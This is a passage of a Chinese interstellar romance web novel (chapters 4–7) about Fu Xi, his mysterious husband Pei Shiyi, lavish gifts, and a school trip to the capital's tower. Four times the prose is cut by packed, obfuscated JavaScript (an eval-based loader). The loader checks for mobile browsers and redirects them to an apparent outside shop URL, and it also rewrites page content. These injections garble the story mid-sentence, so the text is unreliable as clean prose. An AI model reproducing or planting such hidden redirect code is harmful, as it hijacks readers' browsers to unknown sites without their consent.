之前的付溪完全被裴时意雌雄模辩的美貌倾倒,一看到对方,注意力就完全凝聚在这张漂亮的脸上,根本没注意到喉结的存在,而且付溪刻板印象严重,看到长直发,下意识就以为对方性别是女,以及不论是花名册还是结婚证,关于对方的一切都是未知,根本就没写过性别! 所!以! 竟然出现这种乌龙—— “你我你。”付溪语无伦次,“你怎么是男的!” 裴时意眼睫颤了颤:“怎么了。” 付溪脑子里一团乱麻,如实道:“……对不起,我以为你是女孩子。我之前从来没想过跟男的在一起……” 裴时意一怔,眉心微微蹙起。 他眼眸低垂看地,不与付溪对视,整个人透出几分无助与委屈,拉起付溪的右手放在自己的脸上,挨过去蹭了蹭:“所以,你不想要我了吗?”他看着付溪,轻声说,“其实可以的,我本来也已经接受独自一人孤独的死去了,你不要我,我不过是按照之前的既定道路去死而已。” 付溪:“……” 付溪:“…………” ber。 这话说的…… 付溪想到裴时意昨天冒雨前来时的精神状态,心想,如果现在跟对方分开,不就是让裴时意回去等死吗? 他看看裴时意,发现自己对着这张脸,更是一丁点的重话都说不出来,叹了口气:“没。” 他小声嘀咕,“没不要……” 虽然裴时意和付溪想象中的老婆,出现了一点关于性别方面的偏差,但他不得不承认,裴时意的确是香香又软软,各方面都很符合付溪的理想型。 而且两人匹配度足有100%…… 付溪之前在医院被那个首都大学来的教授科普过,说是匹配度越高的人,越适合在一起,而100%匹配度是很少见的,说明双方互为命定之人。 付溪觉得这话说的有点玄学,但难免好奇。 他和裴时意,真的很适合吗? 会像他的父母一样,多年来感情都很好吗? 付溪抿了下唇:“你……你先松开我。” 裴时意松手,付溪终于得以赎回自己的右手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471945|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 付溪表情严肃:“我之前确实没想过跟男性……但你现在情况特殊,我也不可能坐视不理。要不我们先治病?跟我之前说的一样,治病的过程中,如果我们两情相悦,那就在一起,如果有一方觉得实在不合适,我们就好聚好散。” 说罢,见面前的裴时意眼睛湿漉漉的看着自己,付溪软下语气,“可以吗?” 裴时意轻轻“嗯”了一声。 付溪松了口气。 时间不早,他明天还要上学,便主动问:“裴……先生,你现在感觉怎么样?有好点吗?我还需要配合你做点什么吗?” 裴时意看着付溪:“再亲一下。” 付溪:“好的好的。” 知道裴时意性别为男后,再接吻时,付溪颇有一种心如止水的感觉,不过每当视线扫过裴时意的脸时,付溪还是感觉有被蛊惑到。 他忍不住心想,若是放到现代,裴时意一出门,街上都得堵车。 不知道是因为裴时意对接吻这件事经验不足,还是缓解寻偶期病症只需要单纯的嘴唇贴着嘴唇,总之,对方并没有更深入。 等亲完,付溪总觉得唇角怪怪的,他试探着舔了一下,立刻眉头一皱,轻轻“嘶”了一声,猜测铁定是被咬破皮了,抬手捂住自己的嘴巴:“可以了可以了,我明天还要上课……明天晚上再继续亲?” 裴时意喉结滚动:“好。” 付溪避开裴时意的视线。 他翻出来一套新的洗漱用具递给裴时意:“你用这套,先凑合一下。”说完火急火燎冲向盥洗室洗漱,尤其是之前摸过裴时意那个的右手,付溪是洗了又洗,搓了又搓,再仔细看镜子,嘴唇果然破了一点点。 “……为什么要咬。”付溪十分不解,但也只好尊重。 他擦干手和脸,又去床边重新铺好褥子,等洗漱完的裴时意走出来,付溪指着地上:“今晚你睡这儿。” 裴时意:“好。” 付溪立刻扑向自己的床。 他本以为今晚受了诸多刺激,尤其是在知道自己香香软软的老婆竟然是个男的,很可能会翻来覆去睡不着,但没想到,脑袋一沾到枕头上,没多久付溪便头一歪,陷入黑甜的梦乡。 甚至没来得及跟裴时意道一句晚安。 这一夜,付溪难得睡的非常好,甚至没做梦——要知道,从一个星期前,每天晚上,付溪都会被寻偶期折磨的辗转难眠,即便睡着,梦里的内容也都混沌又邪恶,一觉过去非但没能神清气爽,反而像是被什么小妖精掏空了…… “……亲密接触竟然真的有用。” 阳光从窗外照射进室内,付溪从床上坐起身,伸了个懒腰,精神十足。 与昨日相同。 裴时意已经离开了。 但房间里处处都还残留着他存在过的痕迹——床旁边铺的褥子被叠放整齐,收了起来,之前随意摆放的水杯被洗干净放好,就连付溪昨天出门换下的衣服,都被洗好晾晒在阳台。总之,房间还是那个房间,但各处的物品都被重新规整了一遍,有种焕然一新的感觉。 付溪:“……” 付溪托腮。 裴时意好像有洁癖唉。 在这方面,付溪自愧不如。 他双手合十心想,希望之后不会被狠狠嫌弃…… 5. 第 5 章 首都星不怎么卷孩子。 早八点半,付溪跟一群小萝卜头一起走下校车,还没进教室,先被老师叫住:“付溪,你来办公室一下。” 付溪乖巧道:“好的老师。” 付溪的老师本体是一只章鱼。 头一次看到对方在讲台上伸出触手,一边讲课一边批作业一边给自己泡茶还一边到处游走,检查学生是否有好好听讲的时候,付溪吓得差点当场昏过去——这也是付溪无法接受有明显兽人特征的伴侣的重要原因之一。 实在是有点ptsd了。 不过章鱼老师非常尽职尽责,之前就是他推荐付溪去医院的。 “去医院了吗?医生那边怎么说?”章鱼老师开门见山,面露担忧。 付溪低眉顺眼,不去看老师的触手:“医生说我是正常的寻偶期,建议我直接寻找伴侣……”他视线游离一瞬,觉得结婚这么大的事,最好还是跟老师知会一声,便说,“我已经跟一名匹配度100%的首都星公民结婚了。” 章鱼老师面露惊讶:“匹配度100%?” 付溪:“嗯嗯。” “这倒是少见……不过既然你这么说,我也就放心了。”章鱼老师欣慰道,“首都星的匹配机制很严苛,极少有100%的,你能遇到也是好事一件。哦对了。”他拉开抽屉,从里面拿出一个四四方方的小盒子,“我叫你来还有一件事。今早门卫室那边放了一个包裹,名字是你的。” 包裹? 付溪想不到有谁会给自己寄东西,而且还是寄到学校。 他双手接过:“谢谢老师。” “嗯。”章鱼老师点点头,“行了,回去上课吧。” 付溪走出办公室,将包裹放到学校的储物柜里,先认真上课,直到中午午休时间,才得空打开。 包裹里一个包装严实,看起来低调奢华的白色盒子,上面挂着一个巨大的logo,写着天穹二字,看图片,似乎是—— “哇。”顶着狐狸耳朵的小萝卜头凑过来,“这是最新款的天穹终端耶!” 一石激起千层浪。 一提起这个,数个小朋友都来了精神头,围拢上来,一个比一个嘴甜:“付溪哥哥,这是你新买的终端吗?多少钱呀。” “最新款耶,一看就知道肯定可贵可贵了。” “付溪哥哥,你快打开看看。” 小朋友们各个都眼巴巴地瞅着,想第一时间看到拆箱后的终端。 付溪心中好笑。 他垂眸,动作小心的拆盒子,同时不禁心想,这东西是谁给他寄的? 在这个做很多事情都需要先看广告的时代里,付溪之前当然也看到过天穹终端的广告,这个牌子主打高端市场,内置功能很多,价格不菲,多数普通公民根本用不起,而付溪才刚穿越到这个星际社会二十多天,认识的人都关系泛泛,会给自己寄这种贵重东西的…… 好像也就只有裴时意了吧? 想到对方,付溪莫名脸上一热。 盒子终于被拆开,里面躺着一个漂亮的白色终端,跟付溪现在用的那个免费终端比,光外表就知道档次完全不同。 “哇——” 身旁,各类幼崽们忍不住发出惊呼声。 “好漂亮啊这个终端!” “听说还有小翅膀呢,就在这儿,按一下会弹出小翅膀,AI小美竭诚为您服务!” 众人七嘴八舌说着。 付溪之前没接触过这些,对终端不太了解,正准备跟身旁的幼崽们取取经,门口传来一道威严的声音:“干什么呢!一个个不睡午觉,围着付溪是想做什么?” “啊啊章鱼老师来了!” 众幼崽发出惊呼,立刻作鸟兽散。 付溪身为小朋友们不睡觉的“罪魁祸首”,也有些心虚,忙将盒子都收起来,在章鱼老师严肃的眼神中,起身往休息舱内爬。 他右手攥着崭新的白色终端,偷偷摸摸把自己的身体蜷缩进轻飘飘的被子里,眼眸亮晶晶,开始摸索新终端怎么用。 全息通讯与实时翻译…… 如果是这个功能,那他好像可以把政府发放的简易翻译器还回去了? 免费的翻译器版本老旧,不太聪明,有些词汇翻译错也就罢了,偶尔还会罢工,就像之前在医院,要不是翻译器出了问题,付溪面对那张被邮寄过来的结婚证时,也不至于那么震惊。 跨行星导航与环境适配。 这个功能似乎是驾驶飞船用的,付溪没得飞船,用不上。 个人AI管家与生存辅助、应急信标…… 付溪摸索半晌,大致会用了。 他将新终端戴上,隔空迁移旧终端的数据,整理各种常用软件时,突然发现通讯录里出现了一个陌生号码。 ……是裴时意吗? 付溪脑海中想起对方那张在他看来连日月都失色的脸,抿着唇,手指不禁在号码上戳了戳,陡然,终端亮起一道蓝光,狭窄的休息舱内,顶端光屏竖起,上面显示一行字,“正在拨号中...” 付溪:“!!!” 等等等!他只是随便戳一下没有要拨号哇! 付溪手忙脚乱试图挂断,下一秒,“嗡”的一声轻响,一道低沉的声音漫不经心响起:“嗯?” “抱歉抱歉,我按错了。” 付溪飞快滑跪,正要解释刚刚的情况,被子被掀开一角,付溪与一条带着吸盘的触手大眼瞪小眼。 那触手的尖端指指枕头,又指指付溪。 付溪:“……好的老师我马上睡觉。” 他压低声音,飞快对终端那一头道,“裴时意,我要挂啦,晚上见。” 说罢不等回答,他把终端挂断收起来,老老实实的躺平盖上被子闭上眼,做出一副已经要午休的模样。 缓缓的,触手退了出去。 付溪僵硬着等了一会儿,眼珠在眼皮下动了动。 他将自己的小半张脸都缩进被子里,心想,是他的错觉吗?总觉得刚刚那道声音跟之前听到的裴时意的声音,有点不太一样?似乎更低沉了。难道是终端传输信号导致声音有些失真? 而且只有一个单音节,听不清也很正常。 付溪不再多想,闭目养神。 下午的课程很简单。 付溪表面认真听讲,实则一颗心已经飘远,好在小学一年级的课程着实简单,而新的终端附带的翻译精准度,比付溪的免费翻译器要高上太多太多,省了付溪仔细辨别联想的功夫,轻松百倍。 一到放学时间,付溪归心似箭。 他中途拐了一趟社区,把之前政府发放的终端和翻译器都归还回去,又填好表盖了张,才终于到家。 狭小的房间里安安静静。 付溪换好衣服躺在床上,盯着白色终端,按照之前幼崽们叽叽喳喳说的,按了一下侧边键,果不其然,一个小翅膀弹出来,模样像是金色飞贼的AI在付溪周围转来转去,柔和的女声响起:“AI小美竭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471946|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚为您服务。” 付溪:“!” 还真是小美! 付溪试探着开口:“小美,我要……” 话还没说完,终端主动弹出一个界面,赫然是裴时意的联络方式,紧接着进入通讯联络界面。 付溪:“!!!” 什么!? 这款终端竟然可以直接读取颅内想法吗!?这也太厉害了吧!? 付溪忍不住连连惊叹。 他盯着界面凝神去想。 不用手动打字,没有任何卡顿,更没有各类内置广告,一条消息顺畅发出:「谢谢你送我的终端。」 付溪:“好耶!真的能发消息!” 不过裴时意应该是在忙,并未回复。 付溪兴致勃勃玩了一会儿,见时间不早,才不得不把终端收起来,先去磨磨蹭蹭写作业。 不是双休,作业不多,付溪很快结束战斗。 昨天裴时意来得晚,今天估计也一样,付溪不急,去洗澡洗衣服,再把褥子拿出来铺在地上,谁知等全都收拾完毕,左等右等,裴时意依然没来。 难道今天有事来不了了? 付溪反复打开终端,看着对方依然没回的消息,挠挠头。 蒜鸟蒜鸟。 应该是有事在忙。 付溪犹豫了下,没打电话过去打扰对方,而是重新将被褥都收起来,躺在床上闭上眼,很快睡过去。 - 富丽堂皇的宫殿内,卧室。 床上一道黑影,似是刚刚醒来,动了下身体。 “刺啦。” 刺耳的锁链声传来。 裴时意淡金色的眼眸于一片黑暗中缓缓睁开,他试图挪动,却察觉脚踝如被栓狗般,栓上一条成人手腕粗的铁链,另一端牢牢系在床尾,铁链很短,短到裴时意甚至不能随意挪动。 裴时意眉头一皱,心绪起伏间,一道金光将他围拢,他在床上弓起背,喉咙里溢出一声低吼,似是某种猛兽,骨骼在黑暗中咔咔作响,原本白皙的皮肤上也冒出一茬一茬的毛发,竟是要兽化!不过就在这关键时刻,裴时意脚踝上的铁链却亮起,一道蓝光闪过,电流狠狠打出! “唔。” 裴时意闷哼一声,身体痉挛,兽化陡然暂停,他额头上冷汗直冒,黑色的长发铺陈在床上,喉结不住上下滚动。 “滴滴。” 终端上传来响动。 “哼。” 从鼻腔里哼出的嘲弄声在房间内响起,似是在笑裴时意的不自量力。 裴时意缓缓抬眸。 一道明显是提前录好的投影出现在房间内。 首都星的国王陛下裴临朔,正位于王位之上,繁复厚重的王室礼服压不住他挺拔如松的身姿,肩章与绶带的点缀衬得他气度雍容,他唇角勾起一抹不甚明显的笑,漫不经心地抬眸,锋利到极致的眼眸朝卧室床上的裴时意看来—— 那是一张与裴时意几乎无差别,足以令星河失色的脸。 璀璨的金发勾勒出他凌厉的面部轮廓,几缕碎发垂落眉骨,却不显半分柔和,眼眸中也满是料峭寒意…… “裴时意。” 冰冷低沉的声音响起,“我跟你说过,不要再去见他。” “再一再二不再三,我已经给过你机会,如果让我发现你们以后还有苟且……” 金发男人微微倾身,一双跟裴时意如出一辙的淡金色眼眸微微眯起,周身杀意凌然,“我会去亲手杀了他。” 6. 第 6 章 接连几天,付溪都没再见到裴时意。 发出去的消息也如石沉大海。 如果不是房间里实打实的结婚证和手腕上的白色终端,付溪差点以为之前发生的一切都只是一场幻梦。 他想到花名册和结婚证上,裴时意那一连串的「未知」内容,猜测裴时意身份肯定不简单,或许是什么首都星军人,目前正在执行秘密任务,所以才会突然消失?也或许是开着飞船进入虫洞,没有信号之类的。 反正双方之前就已经说好,如果相处后觉得不合适,等病治好就会离婚。裴时意在介绍自己时,也表现出了十足的谨慎与疏离,所以付溪并未对这份感情抱很大希望,对对方的不告而别而不会产生太多负面情绪,而是主动发了课表和行踪,表明自己什么时候会在家,免得裴时意来的时候扑空。 傍晚,有人敲响付溪的门。 付溪扫了眼终端,画面正实时监控着门外—— 是一名后面有着毛茸茸大尾巴的男性公民,和两名移动作业机器人。 付溪挠挠头,确认自己不认识他们。 他谨慎地推开门:“你们是?” 那男人甩了一下身后的狐狸尾巴:“请问是付溪先生吗?” 付溪点点头:“是我。” 男人递上一张单子:“你购买的双人床到了,我看单子上写着包含了安装服务……请问可以直接进去吗?我们这边有点赶时间。” “啊?可以可以。” 付溪拿着单子退开一步。 移动作业机器人立刻进入,将付溪单人小床上的床品等一应物品叠放整齐,开始把小床往外搬,好给新床腾位置。 这期间,付溪认认真真看了下手里的单子,是一个家具公司的收据,关于买家的名字写的是…… 裴*朔。 付溪:“?” 裴……朔? 和裴时意一样姓裴。 付溪想到之前裴时意说,他上面还有个哥哥,所以这个叫裴什么朔的,就是裴时意的哥哥? 很有可能。 不过虽然但是,用哥哥的账号给他买床吗? 那很有生活了。 付溪心中好笑。 他甚至合理怀疑,手腕上的终端会不会也是用裴时意哥哥的卡买的……所以果然是有什么秘密身份吧?连买东西都不能用自己的名字。 “好了。”狐狸尾巴男人指了指室内,“付溪先生,请验收一下,如果没问题就在这上面签一下字。” 付溪抬头:“好。” 他走进室内。 移动作业机器人效率超级高,就这么一会儿时间,已经将购买来的新床安装完毕,这套新床品采用了全息技术,装设动态图案,付溪一走进卧室,仿佛来到了森林,而整张床,就是一块巨大的苔藓。 付溪:“!!!” 哇塞—— 旁边有人,付溪不好意思表现的太过惊讶,但真真实实有种刘姥姥进大观园的感觉,他小心翼翼上手去摸,发现手感竟也如苔藓般,不止如此,离得近了,甚至能闻到淡淡的土腥味。 “付溪先生,这是说明书,连一下终端可以方便切换床品生态。森林、湖泊、沙滩都是比较热门的几个元素,当然,如果你有特殊要求,还可以登录相关APP定制,不过那个服务要收费的。”男人解释。 “好的好的。”付溪一叠声应。 他在对方的帮助下熟悉了操作,又检查完床铺,感觉没问题在单子上签过字后,对方就带着机器人离开了。 至于他之前的那张单人床,也将由机器人处理。 门一关,房间中只余付溪。 付溪再也不用憋着,发出一声怪叫。 他兴奋的绕着床走来走去:“天哪,也是让我享受到了!” 他扑腾一下埋进床里,深吸一口气。 模拟出来的森林与苔藓并没有任何湿冷腥闷感,因此付溪完全不用担心模拟后是否会影响到身体。 他兴致勃勃用终端切换了好几个模式,享受了好一会儿,等兴奋劲儿过去后,给裴时意发消息:「谢谢你送的床,很好睡。破费啦。」 依然没人回。 付溪也没在意。 不论对方回复与否,他的感谢肯定要送到,这是礼貌问题。 付溪打算接下来几天,挨个换模式睡! 嘿嘿。 但让付溪没想到的是,这仅仅只是一个开头。 “付溪,有你的包裹。” “付溪先生,最新款的空气循环净化器已安装完毕。” “付溪,寄给你的。” “请问是付溪先生吗?您在我们店预定了十套夏装秋装,关于尺码问题……” “先生,这是您预定的晚餐,接下来一个月,我们都将准时准点给您送一份营养晚餐。请问您有什么忌口的吗?” 握着营养液的付溪瞪圆眼睛:“……” 老天鹅。 裴时意是疯了吗? 要知道,这颗陌生的星球与地球完全不同,并不怎么适合种植业,所有的粮食都是在另外一个星系上种植并运送,由于成本过高,所以多数公民都喝的是营养液,保证身体需求的同时增加饱腹感,勉强度日即可。 像这类…… 付溪鼻尖微微耸了耸,闻到一股久违的肉香,口水都要流下来,他深深、深深吸了口气,面色复杂。 裴时意好有钱啊! 付溪缓缓将一块外焦里嫩的肉送入口中。 肉香霎时间盈满口腔,口水不住分泌,舌尖与味蕾都得到了充分的满足,付溪甚至有点不舍得咽下去。 呜呜呜。 好好吃啊!!! 俗话说的好,由俭入奢易,由奢入俭难,自从付溪穿越后,已经过了二十多天吃营养液的苦日子,原本再这么下去,付溪都要习惯了,如今又吃到美食,且还是顶级美味,他难免越吃越伤心。 ——这要是以后和裴时意离婚,是不是就没这待遇了? ……呜呜呜。 算了,能享受一天是一天! 付溪化悲愤为食欲,狠狠嚼嚼嚼。 不过,当家里又搬进一个高端按摩椅和全息游戏舱,以至于连落脚的地方都快没有了的时候,付溪实在是忍不住了。 他抽了个午休的空档,一脸严肃的给裴时意打视频。 “滴——” 接通的声音响起,终端画面弹出,付溪心头一紧,忙正襟危坐,但画面迟迟没有显现,他茫然地凑近检查,这才发现裴时意虽然接通了,却把全息影像的摄像头关了,不给付溪看脸。 一道低沉又漫不经心的声音传来:“干什么?” 付溪:“。” 不得不说,裴时意的声音也好好听。 真是哪儿哪儿都非常戳付溪的XP,只有性别出现了一点点小问题。 付溪轻咳一声:“冒昧打扰……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471947|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴时意声音凉凉的,夹杂着些许不耐:“有事说事。” “哦哦好的。”真是奇怪,明明都是裴时意,但付溪总觉得,晚上来自己家时面对面的裴时意,是一位很温和沉默的男士,而此时在终端通话里,对方就很冷硬……难道是不希望自己打扰吗? “我是想说,你别再破费买东西送给我了。”付溪小小声道,“现在家里已经堆满,放不下了。” “……”那头迟迟没有回应。 要不是上方的“通话中...”三个字还在亮,付溪都以为对方挂了。 “知道了。”那道男声回应。 “嗯嗯,还有。”付溪身体前倾一点,认真说,“你最近感觉怎么样?有发病吗?如果不舒服就赶紧来找我哈。” 虽说两人已经结婚,但拿人手短,吃人嘴短。 付溪收了这么多东西,当然也想帮对方。 距离上次的亲吻已经过去一段时间,付溪昨晚有些躁动,猜测以裴时意的状态,应该会比他更严重才是。虽然裴时意工作很忙,但治病还是要积极一点啊!万一出现并发症或者嘎了,那不全完啦? “……嗯。” 那头,又是憋了半天才回复这么一个单音节。 “那我就先挂啦?”付溪说,“工作小心,多保重身体。” 余光瞥到一条触手,付溪身体一紧,他不等裴时意回复,直接挂断,飞快钻进休息舱内,闭眼假寐。 章鱼老师:“哼。” 下午,付溪乖乖听课,临放学时,章鱼老师却拖堂了:“小朋友们,整个首都星最高的建筑是哪里呀?” 一群小朋友异口同声回答:“枢律塔——” 这座“塔”,就是之前付溪前往医院时,看到的那栋高耸入云的建筑,同时也是首都星帝王的办公地点。 “答对啦。”章鱼老师挥舞着触手,给小朋友们一只贴了一朵小红花,连刚刚根本没张嘴的付溪都有,以示鼓励,“明天下午,我们将有机会参观这栋象征着首都星意志与星轨锚点的建筑,大家开不开心~” 小朋友们瞬间躁动起来,一个个兴奋到不行,比之前更大声:“开心——” 反正只要不上课,去哪里都是开心的。 付溪也跟着眼眸一亮。 这栋建筑对付溪而言,就像是故宫和白宫,都属于旅游必去景点,只是枢律塔戒备森严,并不开放普通人参观,没想到学校竟然会组织前往! 真不错! 第二天下午,花苞第一小学的参观队伍便从几辆校车上一一走下,各位小朋友们被章鱼老师的触手牵着强行排好队伍,站在首都星最高的建筑面前,俱都仰头,发出“哇”的声音。 甚至有小朋友差点仰倒过去,好在付溪在其身后扶了一把。 下一秒,章鱼老师一朵小红花已经啪叽贴在付溪身上。 付溪:“……” ber,要带着这朵小红花进去参观吗?好羞耻。 排着队伍往建筑里走时,付溪鬼鬼祟祟,趁章鱼老师不注意,偷摸把小红花取下来放进口袋里。 下一秒,一条触手贴上来:“嗯?付溪同学,是不喜欢老师给的小红花吗?” 一堆小萝卜头好奇看来。 付溪:“……” 薄红染上付溪的耳朵,付溪抿着唇,只好忍辱负重,缓缓将小红花拿出来重新贴在胸口的位置。 章鱼老师这才满意,走到前面去维持秩序了。 7. 第 7 章 枢律塔是首都星的政治权利中心。 想要进入其中的每一位公民,都需要经过极其严格的筛查,哪怕是已经提前备案过的花苞第一小学的萝卜头们也一样,而其中,付溪身为看起来格格不入的临时户口成员,更是检查的重中之重。 等付溪从单独的检查室里出来时,感觉自己每一根头发丝都被灯照过了。 “别害怕,孩子。”章鱼老师伸出触手安抚地摸摸付溪的脑袋,“相信我,如果不是规矩如此,他们也不想这样对你。” 付溪飞快摆手:“没事没事,理解理解。” “喔付溪同学,你真乖。”章鱼老师干脆利落,又给付溪叠了一朵小红花。 付溪:“……” 倒、倒也没有必要吧? 付溪看看自己胸前两朵鲜艳的小红花,又看看十足满意的章鱼老师,轻咳一声,跟上大部队。 “枢律塔是国王陛下的办公场所,也是权利、科技与统治的象征,内部采取分层设计,分别为基座、政务、监察、军事、科技、巨幕、以及陛下单独所在,需要密钥才能进入的顶层。今天我们主要参观的是基座层,这里也是首都星最大的档案库,只有你们想不到的,没有这里查不到的……同学们跟我往这边走哈。” 章鱼老师走在最前面,手中挥舞着一个小旗帜,解说的声音从终端里传出,当真跟旅游团一模一样。 个子最高,年纪最大的付溪走在最后,顺便看着这群小萝卜头们不要掉队。 基座层很大,涵盖了地面三层与地下七层,来往的工作人员或许早已得到消息,也或许首都星的小学生来研学是很普通的事,没人对他们的出现感到意外,全都行色匆匆,目不斜视,各司其职。 “我以后长大了,也要在这里上班!”有幼崽看着看着,露出雄心壮志。 其他小朋友叽叽喳喳:“我也要我也要。” 付溪顺势跟上:“我也要我也要。” 有梦想谁都了不起! 章鱼老师笑眯眯道:“能在枢律塔上班的员工都是首都星的顶尖人才,老师很期待看到你们有朝一日能随意出入这里哦。” “来来来,请看这边。” 老师指着一个巨大的屏幕,“这里是档案库的索引系统,需要查询具体档案的存放位置时,只需要跟系统AI说一声就可以,简单便捷,而枢律塔的智能AI,是目前首都星所有AI的总控,名字叫?” 小朋友们齐声回答:“全需之眼——” “对。”章鱼老师对自己的教学成果十分满意。 花苞第一小学今日份的研学只预留了三个小时时间,并没有完全把整个基座逛完,只看了重要部分。 临走时,付溪举手要求去一趟洗手间,被章鱼老师批准后,匆匆前往,洗完手出来时却差点撞到一人。 “抱歉抱歉。”付溪一叠声道歉,抬头看向对方时,猝不及防被吓了一跳! 只见面前,一个比付溪高出一头,身形高大威猛,身着军装踩脚军靴,面上却戴着一个青面獠牙面具的人,正居高临下冷冷注视着付溪。面具是完整的一张,将这人的脸严严实实盖住,连眼眸都被遮挡,看不出对方的具体神色,只在边角处,能隐隐看到对方露出的金灿灿的发丝。 付溪:“!” 仅对视一眼,付溪就感觉自己惹到什么不得了的人物,而那面具的模样实在可怖,带着股杀气,近距离看时,付溪头皮都略微发麻。 他下意识后退一步,抿着唇警惕地看着男人。 男人从上至下扫过付溪全身,最终落在付溪胸前的两朵小红花上:“……花苞第一小学的研学生?” ——他的声音也是经过处理的,听起来有一丝明显的伪人感,按照如今的科技水平,合成后的声音明明可以以假乱真,他却把声音设定成这样,就像是故意让听到的人知道他是合成音。 付溪一点头:“……是。” 男人“哦”了声,这才让开一步。 付溪垂眸,并不想在枢律塔这种地方惹到任何人——能以这副模样出现在这里的,应该都非富即贵,首都星又是明显弱肉强食的地方。 他低着头,飞快道谢,态度恭敬,走过男人身侧,就在两人擦肩而过时,男人却突然开口:“很可爱。” 付溪:“?” 付溪下意识回眸看向男人。 男人抬手,指指付溪的小红花。 付溪:“哦哦哦,谢……谢?” 男人没应,收回目光走进洗手间。 付溪感觉对方真是怪得很。 在这种人生地不熟的地方,又遇到奇怪的人,付溪没安全感,他迫切的需要回到章鱼老师身边,脚步不由快上许多。 等到了熟悉的环境,看到熟悉的人,付溪隐隐松了口气,这才发现周围的守卫比之前多上不少,且各个面露戒备,不由好奇张望:“怎么回事?” “陛下远征回来啦。”一名幼崽眼眸亮晶晶,“付溪哥哥!我们真是走了大运了!有机会在枢律塔近距离看到陛下耶——” 旁边的小朋友奶声奶气地反驳:“没可能吧,陛下向来不喜人靠近,肯定走秘密通道上顶楼,而且工作人员已经在清场啦。” 就像是在印证他的话,与工作人员交涉过的章鱼老师回来后,扬声问:“付溪同学呢?回来了吗?” 付溪举手:“回来了。” 章鱼老师触手飞舞,快速清点过人数,确定所有的学生都在了,便领着小朋友们重新过安检,走出枢律塔。 见状,知道没法亲眼看到陛下的小朋友们同时发出失落的声音。 章鱼老师挑眉:“啊?之前是谁说以后要来枢律塔上班的啊?到时候天天都能见到陛下呢,又何必在乎这一次两次?哦,我懂了,刚刚原来是在说大话啊?” “才不是!”幼崽们很是单纯,注意力当场被转移。 章鱼老师目的达成,笑眯眯地将所有学生都捞上校车:“好好好,那老师很期待有那么一天了……都坐好哈,gogogo,回家咯。” “同学们,接下来两天是周末,大家在家里也要乖乖听父母的话,出门一定要告知父母。不擅长游泳、毛皮不防水的陆生小朋友们不要轻易靠近水边,鸟纲类小朋友也要注意飞行安全,从高楼上往下跳是必死无疑的哦……” 章鱼老师开始按照惯例念叨安全守则。 付溪已经听过不少遍,坐在校车靠窗的位置上发呆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471948|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他不可避免的想到之前在洗手间遇到的男人。 明明是在枢律塔内,却脸戴面具,用合成音……现在想想还是感觉有点可疑,不过枢律塔进出的检查都很严苛,应该不至于放坏人进去吧? 那个人周身气势也很强,属于站在人群中都会被一眼看到的类型,实在不像能干坏事的,而且老师之前在课上讲过,首都星的陛下战斗强悍,勇猛好斗,曾率部下打赢多次胜仗,分别是星历—— 打住!付溪!现在不是在考试。 反正,以陛下的实力,就算是有什么坏人出现,应该也奈何不了他吧。 暖洋洋的光洒在付溪身上,付溪打了个哈欠,闭上眼睛,靠着窗户小憩。 校车并未在花苞第一小学停留,而是按照AI提供的最佳规划路线,将小朋友们一一送回家。 付溪也是。 从校车走下来,他告别剩余的同学和章鱼老师,走回家,一推开门,房间里塞得满满当当,看得付溪默了一瞬。 他换好鞋子,将自己摔进按摩椅里,闭上眼睛享受了一把,身心放松,不多时,晚餐到了,付溪坐在凳子上美美吃完饭,开始写研学小作文,洗澡,躺上床,打开终端摸了一把类似消消乐的小游戏,关灯,闭眼睡觉。 入夜。 付溪身体蜷缩,哼哼唧唧。 第二天一早,他坐起身,脸色惨白。 完·蛋·了。 怎么会做那种梦—— 而且压在他身上的,竟然还是……还是…… 想到梦中,裴时意黑色的发丝落下来,撩过他的脸庞时带来的点点痒意,付溪脸色瞬间涨红,他倒吸一口气,飞快摇头,试图将那些万分羞耻的画面甩出去,仅用了0.01秒就从床上爬起来,去卫生间冷脸洗内裤。 “……寻偶期,做这种梦也很正常吧。” 付溪嘟囔。 之前付溪也做过类似的梦,但那时候,梦里的人根本没有脸,如今却出现裴时意那双漂亮的淡金色眼眸…… 啊啊啊啊。 住脑!不许再想了! 